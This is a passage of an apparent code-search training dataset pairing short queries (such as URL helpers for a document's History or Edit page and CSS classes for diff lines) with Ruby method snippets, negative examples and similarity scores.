:asc).map(&:name)\n\n journal_names.each do |journal_name|\n name = \"#{customer.code} - #{journal_name} (#{company})\"\n item = FileImport::Sftp::Item.new(name, true, false)\n item.customer = customer\n item.journal = journal_name\n input_item.add item\n item.created if @sftp.previous_import_paths.include?(item.path)\n current_folder_paths << item.path\n end\n end\n\n if same_import_root_path?\n unused_folder_paths = @sftp.previous_import_paths - current_folder_paths\n unused_folder_paths.each do |unused_folder_path|\n name = unused_folder_path.split('/')[2]\n input_item.add FileImport::Sftp::Item.new(name, true, nil)\n end\n end\n\n @folder_tree = last_item\n\n validate_item @folder_tree\n\n @folder_tree\n end", "def git_dir; end", "def get_root\n @logger.debug \"GET #{@jenkins_path}/\"\n request = Net::HTTP::Get.new(\"#{@jenkins_path}/\")\n make_http_request(request)\n end", "def root\n Dir.pwd\n end", "def browse_tree(tree = nil, cur = nil)\n return [[], []] if barerepo.empty?\n tree ||= barerepo.head.target.tree\n images = []\n directories = []\n tree.each do |item|\n next if item[:name][0] == '.'\n dest = cur.nil? ? item[:name] : File.join(cur, item[:name])\n if item[:type] == :blob\n images.push({\n data: barerepo.read(item[:oid]).data,\n dest: dest, name: item[:name]\n })\n else\n directories.push({\n dest: dest, name: item[:name]\n })\n end\n end\n [images, directories]\n end", "def tree_parent\n return @tree_parent if @tree_parent\n @tree_parent = File.dirname tree\n @tree_parent = '' if @tree_parent == '.'\n tree_parent\n end", "def root\n @root || Merb::Config[:merb_root] || File.expand_path(Dir.pwd)\n end", "def get_root\n return self if tag == :root || parent.nil?\n parent.get_root\n end", "def repo(path = root)\n @repo ||= {}\n @repo[path] ||= begin\n new_repo = Grit::Repo.init(path)\n Dir.chdir(path) # TODO This is not ideal but otherwise it would be necessary to pass\n # a :chdir option in all calls to Grit. This may be a bug in Grit related with the\n # --work-tree flag\n\n unless new_repo.branches.any? { |b| b.name == 'master' } # Check if master exists\n index = new_repo.index\n index.add('k', '')\n index.commit(\"init\")\n end\n new_repo # If this has been done before, the above command will do nothing\n end\n end", "def dirs_until_dodona_dir\n dir = @pwd\n children = [dir]\n loop do\n return [] if dir.root?\n return children if dir == @dodona_dir\n children.unshift dir\n dir = dir.parent\n end\n end", "def expand_tree(path)\n names = path.split('/')\n names.pop\n parent = @git.root\n names.each do |name|\n object = parent[name]\n break if !object\n if object.type == :blob\n parent.move(name, name + CONTENT_EXT)\n break\n end\n parent = object\n end\n end", "def root\n File.dirname __dir__\n end", "def repo_path\n # root dir is system home folder, need to exist prior to app launch\n # /home\n root_dir = Pathname(Settings.application.root_dir)\n\n # base dir is aq_git user home folder, need to exist prior to app launch\n # /home/aq_git\n base_dir = root_dir + Settings.application.repo_user\n\n if self.kind == \"git\"\n repo_path = Settings.application.repo_git_path\n end\n\n # git_dir is where the repositories are gonna be stored, creating if needed\n # /home/aq_git/git or /home/aq_git/hg\n scm_dir = base_dir + repo_path\n scm_dir.mkdir if base_dir.exist? && !scm_dir.exist?\n\n # repo dir is the repository own path\n # /home/aq_git/git/username\n if self.owner\n repo_dir = scm_dir + self.owner.login\n elsif current_user\n repo_dir = scm_dir + current_user.login\n end\n repo_dir.mkdir if !repo_dir.exist?\n\n # the dot dir is the .git (or .hg) located in the repository\n # /home/aq_git/git/username/reposit.git\n if self.is_git?\n dot_dir = repo_dir + (self.name + \".#{self.kind}\")\n dot_dir.mkdir if !dot_dir.exist?\n end\n\n self.path = dot_dir.to_s\n end", "def get_tree_sha\n sha = nil\n trees = get_json(\"#{@git_data_trees}/#{@branch}\")\n trees['tree'].find{|t| t['path'] == 'src'}['sha']\n end", "def module_root\n metadata_path = find_upwards('metadata.json')\n if metadata_path\n File.dirname(metadata_path)\n elsif in_module_root?\n Dir.pwd\n end\n end", "def repo\n if @repo == NRSER::NO_ARG\n @repo = QB::Repo.from_path root_path\n end\n \n @repo\n end", "def getFiles(tree, name)\n files = []\n\n tree.each_tree do |subtree|\n path = name + subtree[:name] + '/'\n subfiles = getFiles($repo.lookup(subtree[:oid]), path)\n files.push(*subfiles)\n end\n\n tree.each_blob do |file|\n file[:name] = name + file[:name]\n files.push(file)\n end\n\n return files\nend", "def search_root(package)\n return if package.nil?\n\n # search root choices:\n # 1. module directory if using go modules and directory is available\n module_dir = package.dig(\"Module\", \"Dir\")\n return module_dir if module_dir\n\n # 2. vendor folder if package is vendored\n parts = vendored_path_parts(package)\n return parts[:vendor_path] if parts\n\n # 3. package root value if available\n return package[\"Root\"] if package[\"Root\"]\n\n # 4. GOPATH if the package directory is under the gopath\n return gopath if package[\"Dir\"]&.start_with?(gopath)\n\n # 5. nil\n nil\n end", "def srcdir_root\n @ardir\n end", "def retrieve_dirs(_base, dir, dot_dirs); end", "def rootDir\n if @workflow[:root_dir]\n OpenStudio.toPath(@workflow[:root_dir])\n else\n OpenStudio.toPath(@osw_dir)\n end\n end", "def root\n Pathname.new(File.dirname(__dir__))\n end", "def git_tree_version\n if File.directory?(\".git\")\n @tree_version ||= `git describe`.strip.sub('-', '.')\n @tree_version << \".0\" unless @tree_version.count('.') == 2\n else\n $: << \"lib\"\n require 'rack'\n @tree_version = Rack.release\n end\n @tree_version\nend", "def get_root\n return File.join('/root/path', SETTINGS[:project])\n end", "def root\n return @root\n end", "def getFile(tree, name, path = '')\n blob = nil\n\n tree.each_blob do |file|\n blob = file if file[:name] == name[/[^\\/]*/]\n blob[:name] = path + blob[:name]\n end\n\n if blob.nil?\n tree.each_tree do |subtree|\n if subtree[:name] == name[/[^\\/]*/]\n path += name.slice! name[/[^\\/]*/]\n name[0] = ''\n return getFile($repo.lookup(subtree[:oid]), name, path + '/')\n end\n end\n end\n\n return blob\nend", "def tree\n\n h.updated_tree || h.original_tree\n end", "def root_path\n return @root_path if defined?(@root_path)\n\n root_finder = lambda do |path|\n # Note: To remain compatible with Ruby 1.8, we have to use\n # a `find` here instead of an `each`.\n found = vagrantfile_name.find do |rootfile|\n File.exist?(File.join(path.to_s, rootfile))\n end\n\n return path if found\n return nil if path.root? || !File.exist?(path)\n root_finder.call(path.parent)\n end\n\n @root_path = root_finder.call(cwd)\n end", "def repo\n @repo\n end", "def rootObject\n @otrunk.getRoot\n end", "def rootObject\n @otrunk.getRoot\n end" ]
[ "0.72790486", "0.6908844", "0.6906041", "0.67978346", "0.6332378", "0.63251656", "0.63149714", "0.6272349", "0.6106052", "0.60321736", "0.6029437", "0.60287106", "0.5997431", "0.5995607", "0.5966819", "0.59331894", "0.5915845", "0.5880715", "0.5866433", "0.58440495", "0.5826522", "0.5826506", "0.58045", "0.5798686", "0.5778689", "0.5740876", "0.5740876", "0.57342625", "0.57035226", "0.56977963", "0.56954306", "0.5694848", "0.56928265", "0.56913936", "0.5684999", "0.5683201", "0.5642575", "0.5623012", "0.56099087", "0.5607933", "0.55877626", "0.5587578", "0.55595684", "0.5539781", "0.55355674", "0.5528284", "0.5525908", "0.5518772", "0.5488406", "0.5476122", "0.546992", "0.5467407", "0.5463116", "0.5452666", "0.54431635", "0.5441581", "0.54382503", "0.54220027", "0.5421713", "0.54198927", "0.54198927", "0.54140407", "0.5396161", "0.5394796", "0.5393635", "0.53921837", "0.53860486", "0.5383287", "0.5378565", "0.5376953", "0.5373558", "0.53669363", "0.53628796", "0.53606933", "0.5359933", "0.53598803", "0.5347194", "0.53347236", "0.53136593", "0.5312301", "0.53118765", "0.53097343", "0.53085095", "0.53068966", "0.53033555", "0.5300801", "0.5297672", "0.52963424", "0.5280164", "0.5279432", "0.52785355", "0.526701", "0.5256152", "0.52535874", "0.5250561", "0.5245335", "0.5236774", "0.5223266", "0.5219797", "0.5219797" ]
0.76856315
0
URL helper for the History page of a document
def history_path(path) url('/h/' + path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def page_url(first, hsh)\n hsh = hsh.merge item_type: model.class.to_s,\n item_id: model.id.to_i\n api_history_path(first, hsh)\n end", "def redirection_history; end", "def history\r\n\r\n end", "def add_to_history(page); end", "def history\n # blank\n end", "def document_history\n document_home = DocumentHome.find(params[:id])\n @documents = document_home.documents.find(:all ,:order =>'created_at desc')\n render :layout => false\n end", "def history; end", "def history; end", "def history; end", "def document_url\n key = document.model_name.singular_route_key\n Rails.application.routes.url_helpers.send(key + '_url', document.id)\n end", "def url_for_index; end", "def url_for_index; end", "def url\n return if article.nil?\n title = article.escaped_full_title\n \"#{wiki.base_url}/w/index.php?title=#{title}&diff=prev&oldid=#{mw_rev_id}\"\n end", "def url_for_document(document, options = {})\n document[:id] = document.id.gsub(/#{I18n.locale.to_s}:/, '')\n search_state.url_for_document(document, options)\n end", "def history\n @story = Story.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n end\n end", "def url\n URL_MAPPING[@docid]\n end", "def toe_doc_history\n @termcondition = @matter.matter_termcondition\n @toe_doc = DocumentHome.find(params[:document_home_id])\n render :partial => \"toe_doc_history\"\n end", "def url_for_document(_doc)\n '#'\n end", "def get_historypath_uri(file_name,version,file,is_serverUrl=true)\n # for redirection to my link\n user_host = is_serverUrl ? '&userAddress=' + cur_user_host_address(nil) : \"\"\n uri = get_server_url(is_serverUrl) + '/downloadhistory/?fileName=' + ERB::Util.url_encode(file_name) + '&ver='+ version.to_s + '&file='+ ERB::Util.url_encode(file) + user_host\n return uri\n end", "def history\n template = Template.find(params[:id])\n authorize template\n templates = Template.where(family_id: template.family_id)\n local_referrer = if template.customization_of.present?\n customisable_org_admin_templates_path\n else\n organisational_org_admin_templates_path\n end\n render 'history', locals: {\n templates: templates,\n query_params: { sort_field: 'templates.version', sort_direction: 'desc' },\n referrer: local_referrer,\n current: templates.maximum(:version)\n }\n end", "def history\n generic_index(true)\n end", "def url_for_me(action)\n if action == 'show'\n \"/projects/#{project.to_param}/documents/#{to_param}\"\n else\n \"/projects/#{project.to_param}/documents/#{to_param}/#{action}\"\n end\n end", "def history=(_arg0); end", "def history=(_arg0); end", "def get_history(page_token = nil); end", "def redirection_history=(_arg0); end", "def url_for(*args)\n case args[0]\n when String\n return args[0]\n when :back\n # url = controller.request.env['HTTP_REFERER'] if controller\n url ||= 'javascript: history.back();'\n else \n return \"/aurita/#{resource_url_for(*args)}\"\n end\n end", "def url(*args)\n params = args.last.is_a?(Hash) ? args.pop : {}\n fragment = params.delete(:fragment) || params.delete(:anchor)\n path = make_path_with_params(args, value_to_param(params))\n rebase_url(fragment ? path << '#' << fragment.to_s : path)\n end", "def add_simple_history(name, url,method)\n %[dhtmlHistory.add(\"#{name}\", \"new Ajax.Request('#{url}', {asynchronous:false, evalScripts:true, method:'#{method}'});\")]\n end", "def gen_url url, text\n return super unless url =~ /\\Ardoc-ref:/\n\n name = $'\n cross_reference name, text, name == text\n end", "def url_for_bookmark doc, options = {}\n require 'cgi'\n \n # This branch is the one executed for a search results index page \n if doc and doc[\"DocId\"]\n # IF doc exists and has this field\n Rails.logger.debug(\"Route - returning doc #{doc['DocId']}\" )\n # One mechanism is to return the doc itself (Ruby can recognize that it is an object and create the appropriate url)\n # In that case, the url would be catalog/id\n # but here, we want to ensure we pass the DocId parameter and we are escaping the ID in the parameter \n # Additionally, we tried updating the doc id to be the escaped uri, but that did not work correctly\n # What we are doing here is passing the local name (which has no slashes, etc. that could throw either apache or ruby off)\n # and then utilizing the normal behavior for showing a document but passing in the parameter as well\n # Code on the solr document helper side knows to expect that parameter and utilize that for the solr document id if it exists\n # Not passing in a local name in the url would make the code expect this was some search query, and without a query it jsut\n # goes back to the front page\n id = doc[\"DocId\"]\n uri_sliced = id.split(\"/\")\n local_name = uri_sliced.last\n uri_escaped = CGI::escape(id)\n # This was there originally before but let's try it without this, this would be useful if we were passing back doc\n # instead of passing the parameter in the URL\n # doc[\"id\"] = local_name \n \"/bookmarks/\" + local_name + \"?DocId=\" + id\n else \n #Does what this code would do without our updates \n doc \n end\n \n \n end", "def resource_url(*args)\n space_page_url @space, @blog.page,\n hash_for_periodical_path(resource)\n end", "def historical_url\n URI.join(OER_HISTORICAL_URL, \"#{date}.json\")\n end", "def resource_url(*args)\n space_page_url @space, 'articles',\n hash_for_periodical_path(resource)\n end", "def href; end", "def history_added; end", "def url\n unless new_record?\n Engine.routes.url_helpers.quickie_url(self, :host => Kublog.default_url_options[:host])\n end\n end", "def history\n # How do I make a specific person's history page load?\n current_user# Calls the current_user method in application_controller\n # which returns @current_user\n end", "def href(format)\n view_context.url_for(\n view_context.search_state.url_for_document(document, format: format)\n )\n end", "def history \n @anchoring = Anchoring.find(params[:id])\n\n respond_to do |format|\n format.html # history.html.erb\n format.json { render json: @anchoring }\n end\n end", "def history\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def determinate_back_link_url\n if history.nil? || history.size == 1\n default_url\n else\n \"#{url}?page=#{session.dig(:back_link_history, previous_step)}?back=true\"\n end\n end", "def changelog\n url = find_changelog_link\n\n if url\n full_url = BASE_URL + url\n\n if changelog_may_contain_anchor?( full_url )\n anchor = find_anchor( full_url )\n full_url += anchor if anchor\n end\n\n full_url\n end\n end", "def history\n session[:back_link_history]\n end", "def item_detail_url(id)\n \"#{@baseurl}/agdocs.aspx?doctype=agenda&itemid=#{id}\"\n end", "def go_to_date_link(user)\n\t\tdynamic_range\n\t\t@base_path = root_path+\"users/#{user.id}/scrapbook/#{@destination}\"\n\tend", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url_template; end", "def url_template; end", "def history\n # Should be paginatable.\n # Oh, it's belongs as a separate resource, paginateable.\n self.edits.where(state: 'applied').order(:date)\n end", "def history\n rest.get stats_path(:history) do |response|\n response_handler response\n end\n end", "def previous_page_path; end", "def history\n History\n end", "def url\n @doc.url\n end", "def show\n @document_history = DocumentHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @document_history }\n end\n end", "def history_added=(_arg0); end", "def generate_history_info(_doc_info)\n \"\"\n end", "def generated_permalink; end", "def docs_redirect(path, page_title)\n meta_redirect(URI.join(settings.docs_url, path), page_title)\nend", "def oer_url\n if date\n historical_url\n else\n latest_url\n end\n end", "def url\n # NOTE: May be useful to get the class for the base_document_type and see if it respond_to base.\n # If so call that to make sure we really are at the top parent!\n controller = self.base_document_type.pluralize\n path = \"#{controller}/#{self.base_document_id.to_s}\"\n klass = self.document_type.to_s.camelize.constantize\n base_klass = self.base_document_type.to_s.camelize.constantize\n has_custom_url_method = klass.respond_to?(:audit_url) || base_klass.respond_to?(:audit_url)\n klass_with_custom_url = klass.respond_to?(:audit_url) ? klass : base_klass;\n return has_custom_url_method ? klass_with_custom_url.audit_url(base_document_id) : path\n rescue NameError\n path\n end", "def payment_history\n check_history_permissions\n @back_button_url = determinate_back_link_url\n rescue BaseApi::Error400Exception\n return redirect_to payment_history_path unless page_number == 1\n end", "def permalink\n link = object.path.gsub(\"::\", \"%2F\")\n link.tr!(\"?\", \"%3F\")\n link.tr!(\"#\", \":\")\n\n \"#{RUBYDOC_URL}/#{link}\"\n end", "def documentation_url; end", "def url_for_document(doc, options = {})\n return doc unless routable?(doc)\n\n route = blacklight_config.view_config(:show).route.merge(action: :show, id: doc).merge(options)\n route[:controller] = params[:controller] if route[:controller] == :current\n route\n end", "def user_order_history_url\n www_url('/settings/orders')\n end", "def link() url; end", "def link() url; end", "def index\n @document_histories = DocumentHistory.all\n end", "def url\n end", "def link\n \"/events/#{id}\"\n end", "def history(object, params={})\n history_url = \"#{API_URL}#{object}.json?m=history\"\n perform_get_request(history_url, params)\n end", "def url\n \"/announcements/#{self.year}/#{self.id}\"\n end", "def solr_document_url(solr_document, options = {})\n search_state.url_for_document(solr_document, options)\n end", "def history_file\n dir['history']\n end", "def set_document_history\n @document_history = DocumentHistory.find(params[:id])\n end", "def auto_path\n cur_page.auto_path\n end", "def blogger_index\n flash[:notice] = \"The URL has changed, please update your bookmarks\"\n redirect_to blog_posts_path(blog_id: \"dev\")\n end", "def url\n\t\t\"#{base}/wiki/#{page}\"\n\tend", "def current_url; end", "def original_url; end", "def new\n @document_history = DocumentHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @document_history }\n end\n end" ]
[ "0.6869474", "0.65658134", "0.6473387", "0.6469171", "0.6433061", "0.642693", "0.64180875", "0.64180875", "0.64180875", "0.6360034", "0.6259342", "0.6259342", "0.62400496", "0.620006", "0.619646", "0.6159481", "0.6153468", "0.61135805", "0.61122423", "0.6109527", "0.6074837", "0.6064666", "0.60643303", "0.60643303", "0.60248554", "0.601632", "0.600406", "0.5995775", "0.5992413", "0.5945452", "0.59210354", "0.5915667", "0.5897226", "0.5882954", "0.5878451", "0.58668214", "0.5857853", "0.5850905", "0.5845794", "0.5834872", "0.5825195", "0.5813606", "0.5810374", "0.580597", "0.5764843", "0.5748698", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.5731441", "0.57274306", "0.57274306", "0.5727374", "0.57229865", "0.57214034", "0.5718397", "0.57017094", "0.57011914", "0.5696567", "0.56484514", "0.56472224", "0.5647077", "0.56339496", "0.563098", "0.56299436", "0.5627929", "0.5623254", "0.56228626", "0.5613283", "0.56009066", "0.56009066", "0.5592728", "0.55802906", "0.5578457", "0.55763525", "0.55700445", "0.55556124", "0.55526924", "0.5552528", "0.5543245", "0.55356985", "0.55177516", "0.5515373", "0.5513621", "0.5512374" ]
0.70901227
0
URL helper for the Edit page of a document
def edit_path(path) url('/e/' + path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def url_edit\n cname = self.class.classname.to_s.downcase\n return \"?show=#{cname}_edit&#{cname}_id=#{self.id}\"\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\n\n end", "def edit\r\n \r\n end", "def edit\n \tredirect_to action: \"show\"\n end", "def edit\n\n end", "def edit\r\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end" ]
[ "0.7392644", "0.7212802", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.7170562", "0.71617776", "0.71538025", "0.7147042", "0.7146872", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7144504", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817", "0.7122817" ]
0.73278123
1
CSS class for a diff line
def class_for_diff(line) case line[0] when '+' 'addition' when '-' 'removal' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def diff_line_class(line)\n case line[0, 1]\n when '+' then 'added'\n when '-' then 'deleted'\n end\n end", "def colorized_diff\n diff.lines.map do |line|\n self.class.colorize_line(line)\n end.join\n end", "def colorized_diff\n return unless diff\n\n diff.lines.map(&self.class.method(:colorize_line)).join\n end", "def highlight(line)\n line.deletion? ?\n older[line.old_line_number-1] :\n newer[line.new_line_number-1]\n end", "def line_color\n :white_on_black\n end", "def modline(line)\n %Q{<tr class=\"changes line\">} +\n render_comment_count(line) +\n %Q{<td class=\"line-numbers commentable\">#{line.old_number}</td>} +\n %Q{<td class=\"line-numbers commentable\">#{line.new_number}</td>} +\n %Q{<td class=\"code unchanged mod\">#{render_line(line)}</td></tr>}\n end", "def colorized_diff(&block); end", "def begin_line kind\n if style = @span_for_kinds[@last_opened ? [kind, *@opened] : kind]\n if style['class=\"']\n @out << style.sub('class=\"', 'class=\"line ')\n else\n @out << style.sub('>', ' class=\"line\">')\n end\n else\n @out << '<span class=\"line\">'\n end\n @opened << kind\n @last_opened = kind if @options[:css] == :style\n end", "def line_divider \n puts @header.light_blue\n end", "def custom_set_codeline_class\n @codeline_class = SASSLine\n end", "def line_template(ul = 'unmarked', ur = 'unmarked', ll = 'unmarked', lr = 'unmarked')\n html = <<-eol\n <div class=\"fam-tree-line-container\">\n <div class=\"fam-tree-line-level\">\n <div class=\"fam-tree-#{ul}\"></div>\n <div class=\"fam-tree-#{ur}\"></div>\n #{clear}\n </div>\n <div class=\"fam-tree-line-level\">\n <div class=\"fam-tree-#{ll}\"></div>\n <div class=\"fam-tree-#{lr}\"></div>\n #{clear}\n </div>\n </div>\n eol\n html.html_safe\n end", "def patch_lines\n old_line, new_line = old_start, new_start\n \n old_lines = diff.old_object && diff.old_object.data_lines\n new_lines = diff.new_object && diff.new_object.data_lines\n \n diff_data = summary.split(/(\\d+)/)\n lines = []\n i = 0\n while i < diff_data.length\n line_type, line_count = diff_data[i][0], diff_data[i + 1].to_i\n i += 2\n line_count.times do\n case line_type\n when ?+\n line = [nil, new_line, nil, nil]\n new_line += 1\n when ?-\n line = [old_line, nil, nil, nil]\n old_line += 1\n when ?\\\\\n newline_text = '\\\\ No newline at end of file'\n line = [old_line, new_line, newline_text, newline_text]\n else\n line = [old_line, new_line, nil, nil]\n old_line += 1\n new_line += 1\n end\n line[2] ||= line[0] && old_lines[line[0] - 1]\n line[3] ||= line[1] && new_lines[line[1] - 1]\n lines << line\n end\n end\n lines\n end", "def decorate(diff_file)\n if content = read_file(diff_file)\n diff_file.highlighted_diff_lines = content.map do |line|\n Gitlab::Diff::Line.init_from_hash(line)\n end\n end\n end", "def default_line_style\n [1.5, 1, 0]\n end", "def line_number_style\n if opts.present?(:'base-one')\n :'base-one'\n elsif opts.present?(:'line-numbers')\n :'line-numbers'\n else\n nil\n end\n end", "def setlinecolorind(*)\n super\n end", "def make_vm_line(vm)\n \"${color2} #{vm}\\n\"\nend", "def diff_hunk(diff_line)\n diff_line_index = diff_line.index\n # @@ (match) header is not kept if it's found in the top of the file,\n # therefore we should keep an extra line on this scenario.\n diff_line_index += 1 unless diff_lines.first.match?\n\n diff_lines.select { |line| line.index <= diff_line_index }.map(&:text).join(\"\\n\")\n end", "def prev_line; end", "def line_height\r\n 15\r\n end", "def diff\n return if diffs.empty?\n\n minimized_hunk.diff(:unified) + NEWLINE\n end", "def dividing_line; end", "def css_classes\n [\n \"version-#{status}\"\n ].join(' ')\n end", "def original_line; end", "def diff_lines\n @diff_lines ||=\n Gitlab::Diff::Parser.new.parse(raw_diff.each_line, diff_file: self).to_a\n end", "def line_colors\n line_colours\n end", "def diff_lines_for_serializer\n strong_memoize(:diff_lines_for_serializer) do\n lines = highlighted_diff_lines\n\n next if lines.empty?\n next if blob.nil?\n\n last_line = lines.last\n\n if last_line.new_pos < total_blob_lines(blob) && !deleted_file?\n match_line = Gitlab::Diff::Line.new(\"\", 'match', nil, last_line.old_pos, last_line.new_pos)\n lines.push(match_line)\n end\n\n lines\n end\n end", "def truncated_diff_lines\n prev_lines = []\n\n highlighted_diff_lines.each do |line|\n if line.meta?\n prev_lines.clear\n else\n prev_lines << line\n\n break if for_line?(line)\n\n prev_lines.shift if prev_lines.length >= NUMBER_OF_TRUNCATED_DIFF_LINES\n end\n end\n\n prev_lines\n end", "def previous_line_to_wrap; end", "def short_vertical_line\n html = <<-eol\n <div class=\"short-line-container\">\n <div class=\"fam-tree-marked-right\"></div>\n <div class=\"fam-tree-unmarked\"></div>\n </div>\n eol\n html.html_safe\n end", "def make_my_diffs_pretty!; end", "def generate_line_start(runner, passed)\n \"<tr class='#{ i % 2 == 0 ? 'a' : 'b'}' style='#{passed == true ? \"background-color: #e3ffdb; color: #7ab86c;\" : \"background-color: #ffdddd; color: #770000;\"}'><td><strong>#{runner}</strong></td>\"\n end", "def element_line(element); end", "def parallel_diff_lines\n @parallel_diff_lines ||= Gitlab::Diff::ParallelDiff.new(self).parallelize\n end", "def diff1; end", "def original_line_text(line)\n \n #if line.print_change == true\n rev_line_class = 'rev_row' \n #else\n # rev_line_class = 'rev_row_strike'\n #end\n \n last_clause_change = Change.where(:specline_id => line.specline_id).last\n if line[:id] == last_clause_change[:id] \n \"<table width='100%' class='rev_table'><tr id='#{line.id.to_s}' class='#{rev_line_class}'><td class='rev_row_padding'>#{line_content(line)}</td><td class='rev_line_menu_mob'>#{rev_mob_menu(line)}</td><td class='rev_line_menu'>#{reinstate_original_line(line)}#{change_info(line)}</td></tr><tr class='rev_mob_menu_popup'><td class='mob_rev_menu' colspan=3 >#{reinstate_original_line(line)}#{change_info(line)}</td></tr></table>\".html_safe \n else\n \"<table width='100%' class='rev_table'><tr id='#{line.id.to_s}' class='#{rev_line_class}'><td class='rev_row_padding'>#{line_content(line)}</td><td class='rev_line_menu_mob'>#{rev_mob_menu(line)}</td><td class='rev_line_menu'>#{change_info(line)}</td></tr><tr class='rev_mob_menu_popup'><td class='mob_rev_menu' colspan=3 >#{change_info(line)}</td></tr></table>\".html_safe \n end \n end", "def line_diff\n return { :added => @added_lines, :removed => @removed_lines }\n end", "def calculate_line(stop1, stop2)\n if @purple_line.include?(stop1) && @purple_line.include?(stop2)\n \"either\"\n elsif @purple_line.include?(stop1) && @blue_line_west.include?(stop2)\n \"blue\"\n elsif @purple_line.include?(stop1) && @red_line_only.include?(stop2)\n \"red\"\n elsif @red_line_only.include?(stop1)\n \"red\"\n elsif @blue_line_west.include?(stop1)\n \"blue\"\n end\n end", "def strip_diff_syntax(line)\n line[2..-1]\n end", "def diff2; end", "def line_to_wrap; end", "def set_line_style(width=1,dot_size=0)\n @line_width = width\n @line_dot_size = dot_size\n end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def line; end", "def begin_line kind\n end", "def lines_tech_demo\n outputs.labels << [5, 500, \"Lines (x, y, x2, y2, r, g, b, a)\"]\n outputs.lines << [5, 450, 100, 450]\n outputs.lines << [5, 430, 300, 430]\n outputs.lines << [5, 410, 300, 410, state.tick_count % 255, 0, 0, 255] # red saturation changes\n outputs.lines << [5, 390 - state.tick_count % 25, 300, 390, 0, 0, 0, 255] # y position changes\n outputs.lines << [5 + state.tick_count % 200, 360, 300, 360, 0, 0, 0, 255] # x position changes\n end", "def normal_line(text)\n end", "def css_class\n result = [self.project.try(:css_class), self.try(:format).try(:css_class)].join(' ')\n result = 'other' unless CSS_CLASSES.include?(result)\n result += ' invisible' unless self.is_visible\n result\n end", "def rb_mvwhline row, col, char, width\n super(row-@top, col-@left, char, width)\n end", "def straight\n @line_type = '--'\n self\n end", "def lineno_format(curline=false)\n t = @editor&.mode&.theme&.other_styles rescue nil\n\n fgcol = hexcol(get_style_option(\"line-numbers\", :fg, default: \"#4080e0\"))\n bgcol = hexcol(get_style_option(\"line-numbers\", :bg, default: \"#0c0c28\"))\n\n if curline\n fgcol = fgcol.map{|c| c*1.5}\n bgcol = bgcol.map{|c| c*3}\n end\n bgdark = bgcol.map{|c| c/1.5}\n\n \"#{fg(*fgcol)+bg(*bgcol)+ANSI.sgr(1)}%4d#{fg(*bgcol)+bg(*bgdark)}\\u258B#{ANSI.sgr(0,49,39)} \"\n end", "def write_other_line(line)\n if line =~ /^-[^-]/\n write(red(line))\n elsif line =~ /^(commit|Author|Date)/\n write(bold(line))\n else\n write(normal(line))\n end\n end", "def initialize(path, line_number, line)\r\n @path = 